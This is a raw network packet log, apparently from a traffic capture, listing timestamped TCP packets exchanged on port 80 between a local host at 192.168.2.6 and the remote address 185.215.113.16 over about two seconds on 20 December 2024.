Dec 20, 2024 16:19:53.833693981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.833748102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:53.952707052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.952725887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.952790976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.033711910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.034136057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.034188986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.037980080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.039443970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.039499998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.046334028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.046550035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.046601057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.054835081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.054930925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.054977894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.063309908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.063564062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.063654900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.071836948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.071862936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.071921110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.080163002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.080365896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.080425978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.088665009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.088913918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.088968039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.097193003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.097524881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.097815037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.105499029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.105627060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.105706930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.113976002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.114006042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.114056110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.227628946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.227715969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.227772951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.230264902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.230359077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.230571985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.235780001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.236202002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.236252069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.241147995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.241450071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.241503954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.246582985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.246675014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.246911049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.251523972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.251848936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.251916885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.256731987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.256903887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.257002115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.261929989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.262119055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.264380932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.267070055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.267095089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.267158985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.272459984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.273192883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.273257971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.277462006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.277482033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.277534008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.282486916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.282993078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.283042908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.287570000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.287842989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.287930965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.292905092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.293162107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.293235064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.297810078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.297991037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.298144102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.303035975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.348584890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.419795990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.419863939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.420192957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.421930075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.422179937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.422245979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.426230907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.426539898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.426597118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.430557966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.430716038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.431170940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.434792042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.435101986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.435156107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.439328909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.439562082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.439618111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.443455935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.443633080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.443702936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.447798967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.447871923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.447981119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.452151060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.453264952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.453330994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.456273079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.456496000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.456676960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.460675955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.460994959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.461052895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.464901924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.464963913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.465017080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.469201088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.469300032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.469424009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.473444939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.473660946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.473733902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.477777004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.477844000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.477927923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.482057095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.482307911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.482361078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.486432076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.486583948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.486637115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.490632057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.490839958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.490948915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.495193005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.495265007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.495327950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.499267101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.499377012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.499479055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.503501892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.551709890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.612145901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.612382889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.612454891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.613914967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.614142895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.614229918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.617721081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.617953062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.618017912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.621280909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.621458054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.621515036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.625205040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.625298023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.625343084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.628534079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.628551960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.628592968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.631882906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.631995916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.632042885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.635344982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.635574102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.635623932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.638704062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.638942957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.639000893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.642210960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.642374992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.642513037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.645714998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.645889044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.646008968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.649034023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.649281979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.649333000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.652477980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.652538061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.652580023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.655926943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.656070948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.656150103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.659373045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.659547091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.659629107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.662720919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.662822008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.662861109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.666224957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.666285038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.666620970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.669636965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.669715881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.669991970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.673319101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.673590899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.673635960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.676729918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.677037001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.677192926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.680087090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.680619955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.680680990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.684191942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.684269905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.684323072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.687849998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.687993050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.688085079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.690819979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.690865993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.690923929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.693641901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.693785906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.693856001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.697133064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.697299957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.697349072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.700622082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.700771093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.700826883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.704293966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.704426050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.704474926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.707654953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.707890987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.707988977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.711214066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.711582899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.711630106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.714282036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.714394093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.714447975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.717937946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.718061924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.718112946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.721220970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.721265078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.721328020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.724653006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.724934101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.725052118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.728002071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.728090048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.728281975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.731628895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.731738091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.731791973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.734999895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.735208988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.735405922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.738584995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.739089966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.739144087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.804466963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.804651976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.804819107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.805809975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.806054115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.806112051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.808712006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.808979034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.809298038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.811508894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.811621904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.811683893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.814408064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.814825058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.814877033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.817281008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.817485094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.817533970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.819921017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.820194960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.820341110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.822676897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.822896957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.822946072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.825264931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.825423956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.825474024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.827812910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.827918053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.827970028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.830384970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.830961943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.831015110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.832894087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.833019972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.833065987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.835410118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.835572958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.835633039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.837903976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.837985039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.838032961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.840323925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.840574026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.840692997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.843030930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.843341112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.843390942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.844971895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.846148968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.846200943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.847305059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.847409964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.847451925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.849648952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.849821091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.849873066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.851885080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.852356911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.852415085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.854177952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.854300022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.854341984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.856432915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.858025074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.858107090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.973954916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.973978996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.974046946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:54.977751970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.977770090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:54.977817059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.093476057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.093527079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.093579054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.097206116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.097229004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.097286940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.212960958 CET	80	49828	185.215.113.16	192.168.2.6
